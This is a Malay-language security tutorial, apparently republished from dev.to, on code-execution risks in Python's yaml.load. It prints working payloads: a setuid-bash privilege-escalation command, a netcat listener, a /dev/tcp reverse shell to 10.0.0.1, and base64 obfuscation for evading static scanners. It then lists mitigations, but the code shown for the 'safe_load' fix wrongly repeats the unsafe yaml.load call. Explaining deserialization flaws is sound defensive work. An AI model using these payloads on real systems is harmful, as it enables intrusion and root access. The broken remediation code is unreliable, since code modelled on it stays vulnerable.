Rumah > pembangunan bahagian belakang > Tutorial Python > Berhati-hati Apabila Menggunakan YAML dalam Python! Mungkin Terdapat Kerentanan Keselamatan

Berhati-hati Apabila Menggunakan YAML dalam Python! Mungkin Terdapat Kerentanan Keselamatan

Patricia Arquette
Lepaskan: 2025-01-03 22:15:40
asal
687 orang telah melayarinya

Be Careful When Using YAML in Python! There May Be Security Vulnerabilities

Pustaka YAML (YAML Ain't Markup Language) dalam Python telah dikenal pasti mempunyai kelemahan yang membenarkan pelaksanaan arahan sewenang-wenangnya dalam keadaan tertentu. Kerentanan timbul daripada penggunaan fungsi yaml.load tanpa menyatakan pemuat selamat. Secara lalai, yaml.load boleh melaksanakan objek Python sewenang-wenangnya, yang mencipta permukaan serangan untuk muatan berniat jahat.

Eksploitasi melalui Pelaksanaan Arahan Arbitrari

Risiko asas terletak pada proses penyahserikatan. Apabila dokumen YAML mengandungi muatan berniat jahat, yaml.load memproses arahan terbenam, yang berpotensi membawa kepada pelaksanaan kod. Sebagai contoh, pertimbangkan coretan berikut:

import yaml

filename = "example.yml"
data = open(filename, 'r').read()
yaml.load(data)  # Unsafe usage
Salin selepas log masuk
Salin selepas log masuk

Di sini, fungsi yaml.load menghuraikan example.yml tanpa sekatan, menjadikannya terdedah jika kandungan YAML termasuk arahan yang tidak selamat. Muatan eksploitasi biasa boleh dibuat untuk melaksanakan arahan sistem sewenang-wenangnya.

Contoh Muatan

import yaml
from yaml import Loader, UnsafeLoader

# Malicious payload
payload = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]'

# Exploitation
yaml.load(payload)
yaml.load(payload, Loader=Loader)
yaml.load(payload, Loader=UnsafeLoader)
Salin selepas log masuk

Setiap seruan ini memproses muatan, menghasilkan penciptaan boleh laku istimewa dalam /tmp/bash. Perduaan ini kemudiannya boleh dilaksanakan dengan keistimewaan yang tinggi:

/tmp/bash -p
Salin selepas log masuk

Ini menunjukkan potensi peningkatan keistimewaan jika kelemahan dieksploitasi pada sistem dengan kebenaran tersalah konfigurasi atau kelemahan lain.

Eksploitasi Shell Terbalik

Kes penggunaan yang sangat berbahaya adalah memanfaatkan kelemahan untuk cangkerang terbalik. Ini membolehkan penyerang mendapat akses jauh ke mesin sasaran. Proses ini melibatkan memulakan pendengar pada mesin penyerang dan mencipta dokumen YAML yang direka bentuk untuk mewujudkan sambungan terbalik.

Pada mesin penyerang, mulakan pendengar Netcat:

nc -lvnp 1234
Salin selepas log masuk

Pada sistem sasaran, laksanakan skrip Python berikut sebagai akar:

import yaml

# Reverse shell payload
data = '!!python/object/new:os.system ["bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\""]'
yaml.load(data)  # Executes the reverse shell
Salin selepas log masuk

Muatan muatan ini mengarahkan mesin sasaran untuk menyambung kembali kepada pendengar penyerang, menyediakan cangkerang interaktif sepenuhnya dengan keistimewaan proses pelaksanaan.

Pengekodan Base64 untuk Obfuscation

Untuk memintas kawalan atau penapis keselamatan asas, muatan boleh dikodkan Base64. Kaedah ini menambahkan lapisan pengeliruan, yang berpotensi mengelak pengesanan oleh alat analisis statik.

Contoh

from base64 import b64decode
import yaml

# Base64-encoded payload
encoded_payload = b"ISFweXRa...YXNoIl0="  # Truncated for brevity
payload = b64decode(encoded_payload)

# Execute the payload
yaml.load(payload)
Salin selepas log masuk

Teknik Tebatan

Para profesional mesti mengamalkan amalan pengekodan yang ketat untuk menghapuskan kelemahan tersebut. Mitigasi yang disyorkan termasuk:

  1. Menggunakan Pemuat Selamat: Gantikan yaml.load dengan yaml.safe_load, yang menghalang pelaksanaan objek sewenang-wenangnya.

    import yaml
    
    filename = "example.yml"
    data = open(filename, 'r').read()
    yaml.load(data)  # Unsafe usage
    
    Salin selepas log masuk
    Salin selepas log masuk
  2. Menghadkan Sumber Input: Pastikan input YAML dibersihkan dan hanya berasal daripada sumber yang dipercayai.

  3. Menggunakan Analisis Statik: Gunakan alatan untuk mengimbas pangkalan kod untuk seruan yaml.load yang tidak selamat.

  4. Pengerasan Alam Sekitar: Hadkan kebenaran sistem untuk meminimumkan kesan eksploitasi. Contohnya, menggunakan persekitaran kontena mengehadkan keupayaan penyerang untuk meningkatkan keistimewaan.


Tingkah laku lalai pustaka YAML menunjukkan risiko yang berkaitan dengan penyahserikatan dalam bahasa yang ditaip secara dinamik seperti Python. Mengeksploitasi kelemahan ini memerlukan kecanggihan yang minimum, menjadikannya isu keutamaan tinggi untuk pembangunan aplikasi yang selamat. Mengguna pakai amalan pengekodan selamat, bersama-sama dengan pengesahan input yang mantap dan perlindungan masa jalan, adalah penting untuk mengurangkan risiko ini dengan berkesan.

Atas ialah kandungan terperinci Berhati-hati Apabila Menggunakan YAML dalam Python! Mungkin Terdapat Kerentanan Keselamatan. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

sumber:dev.to
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Artikel terbaru oleh pengarang
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan